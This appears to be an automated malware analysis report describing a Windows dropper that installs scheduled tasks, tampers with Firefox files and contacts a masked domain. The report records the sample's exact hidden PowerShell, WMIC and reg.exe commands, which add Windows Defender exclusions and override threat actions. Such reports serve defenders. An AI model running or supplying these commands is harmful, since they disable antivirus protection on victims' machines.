Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %WINDIR%\tasks\bofhdikufgnwdubmgg.job
- <SYSTEM32>\tasks\bofhdikufgnwdubmgg
- <SYSTEM32>\tasks\gyyzpfvwr
- %WINDIR%\tasks\wquhoscdjxaeueacx.job
- <SYSTEM32>\tasks\wquhoscdjxaeueacx
- %WINDIR%\tasks\hozskmoscrihjyt.job
- <SYSTEM32>\tasks\hozskmoscrihjyt
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\JcohhzymuonU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\JcohhzymuonU2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\KVXkbYIMU' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\KVXkbYIMU' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\MDTAHVQsqPUn' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\MDTAHVQsqPUn' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vgiyhQfYtkGLZKWuQpR' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vgiyhQfYtkGLZKWuQpR' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wOLLmirpmqNqC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wOLLmirpmqNqC' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\EmSCnCcAWmzVKjVB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\EmSCnCcAWmzVKjVB' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\oYbtwUemmxAenKcHu' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\oYbtwUemmxAenKcHu' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\WqHMKCWyAZNeL2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\WqHMKCWyAZNeL2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\ajOuxWoBIBBgHxJCqJU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\ajOuxWoBIBBgHxJCqJU2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\hOZsKmOSCrIHJYt' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\hOZsKmOSCrIHJYt' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\hOZsKmOSCrIHJYt2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\hOZsKmOSCrIHJYt2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\iEqGqKYSJmAImcNEc2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\iEqGqKYSJmAImcNEc2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\tvsXYObxcyfVRV' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\tvsXYObxcyfVRV' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\WTAFYOXcrcWETaMq' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\WTAFYOXcrcWETaMq' = '00000000'
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %TEMP%\7zs36df.tmp\__data__\config.txt
- %TEMP%\7zs36df.tmp\install.exe
- %TEMP%\7zs3e03.tmp\install.exe
- %TEMP%\oybtwuemmxaenkchu\smirjlpyisqqbcj\roghulw.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_8cf7b530-613e-439b-a8c5-ccfc0e745400
- %WINDIR%\temp\__psscriptpolicytest_nzuip1kl.aiz.ps1
- %WINDIR%\temp\__psscriptpolicytest_15a22sj4.1rj.psm1
- %WINDIR%\syswow64\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_vym5kkpy.dkh.ps1
- %WINDIR%\temp\__psscriptpolicytest_o031ndfh.4wz.psm1
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
- %WINDIR%\temp\wtafyoxcrcwetamq\agwzgailuwxvcxh\cjtxzcn.exe
- %ProgramFiles(x86)%\kvxkbyimu\txcdvz.dll
- C:\$recycle.bin\s-1-5-18\desktop.ini
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempctevku
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles%\mozilla firefox\browser\features\{85fd6ace-3736-491b-8514-6c8c9556e131}.xpi
- %ProgramFiles%\mozilla firefox\browser\omni.ja.bak
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\103621de9cd5414cc2538780b4b75751
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_nzuip1kl.aiz.ps1
- %WINDIR%\temp\__psscriptpolicytest_15a22sj4.1rj.psm1
- %WINDIR%\temp\__psscriptpolicytest_vym5kkpy.dkh.ps1
- %WINDIR%\temp\__psscriptpolicytest_o031ndfh.4wz.psm1
- <SYSTEM32>\tasks\gyyzpfvwr
- %WINDIR%\tasks\bofhdikufgnwdubmgg.job
- <SYSTEM32>\tasks\bofhdikufgnwdubmgg
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempctevku
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %WINDIR%\tasks\hozskmoscrihjyt.job
- <SYSTEM32>\tasks\hozskmoscrihjyt
Modifies the following files
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\addonstartup.json.lz4
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite
- %ProgramFiles%\mozilla firefox\browser\omni.ja
Substitutes the following files
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
Network activity
Connects to
- 'se####e-domain.xyz':443
- 'x1.#.lencr.org':80
TCP
HTTP GET requests
Other
- 'se####e-domain.xyz':443
UDP
- DNS ASK se####e-domain.xyz
- DNS ASK x1.#.lencr.org
Miscellaneous
Creates and executes the following
- '%TEMP%\7zs36df.tmp\install.exe'
- '%TEMP%\7zs3e03.tmp\install.exe' /nMVdida "390358" /S
- '%TEMP%\oybtwuemmxaenkchu\smirjlpyisqqbcj\roghulw.exe' Zs /OodidM 390358 /S
- '%WINDIR%\temp\wtafyoxcrcwetamq\agwzgailuwxvcxh\cjtxzcn.exe' x8 /ohjldidUk 390358 /S
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=T...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bofHDIkuFgNwDUbMgg" /SC once /ST 16:37:00 /RU "SYSTEM" /TR "\"%TEMP%\oYbtwUemmxAenKcHu\SmirjLpYISqqbCJ\roGhuLw.exe\" Zs /OodidM 390358 /S" /V1 /F
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows De...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"%ProgramFiles(x86)%\JcohhzymuonU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\JcohhzymuonU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\JcohhzymuonU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\JcohhzymuonU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\KVXkbYIMU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\KVXkbYIMU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\MDTAHVQsqPUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\MDTAHVQsqPUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vgiyhQfYtkGLZKWuQpR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vgiyhQfYtkGLZKWuQpR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wOLLmirpmqNqC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wOLLmirpmqNqC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\EmSCnCcAWmzVKjVB /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\EmSCnCcAWmzVKjVB /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\oYbtwUemmxAenKcHu /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\oYbtwUemmxAenKcHu /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\WqHMKCWyAZNeL2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\WqHMKCWyAZNeL2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\ajOuxWoBIBBgHxJCqJU2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\ajOuxWoBIBBgHxJCqJU2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\hOZsKmOSCrIHJYt /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\hOZsKmOSCrIHJYt /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\hOZsKmOSCrIHJYt2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\hOZsKmOSCrIHJYt2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\iEqGqKYSJmAImcNEc2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\iEqGqKYSJmAImcNEc2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\tvsXYObxcyfVRV /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\tvsXYObxcyfVRV /t REG_DWORD /d 0 /reg:64
